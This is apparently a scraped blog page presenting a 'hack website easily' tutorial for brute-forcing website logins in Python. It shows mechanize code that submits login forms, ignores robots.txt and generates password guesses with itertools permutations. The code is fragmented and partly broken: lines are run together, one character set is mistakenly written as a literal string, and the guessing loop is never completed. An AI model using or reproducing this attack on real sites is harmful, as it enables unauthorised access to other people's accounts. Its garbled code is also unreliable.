BRUTE FORCE A WEBSITE LOGIN IN PYTHON
how to hack website easily step by step
how to hack website easily step by step
BRUTE FORCE A WEBSITE LOGIN IN PYTHON
Brute Force Attack
Mechanize
easy_install mechanize
pip install mechanize
import mechanize br = mechanize.Browser()
response = br.open(url)
br.select_form("form name") #selecting forms by name br.select_form(nr=0) #use to select the first form in the page if it is unnamed
br.form['userName'] = 'user name' br.form['password'] = 'password'
br.method = "POST" response = br.submit() print response.geturl() #url to which the page has redirected after login
Sample Python script
#!/usr/bin/python import mechanize import itertools
br = mechanize.Browser() br.set_handle_equiv(True) br.set_handle_redirect(True) br.set_handle_referer(True) br.set_handle_robots(False) #no robots
combinations = itertools.permutations("i34^UhP#",8) #takes characters and length of string to generate as arguments(no repetition)
combinations =itertools.permutations("a-zA-Z0-9!@#$%^",n)
Troubleshooting errors
mechanize._mechanize.FormNotFoundError: no form matching nr 0
Post a Comment
0 Comments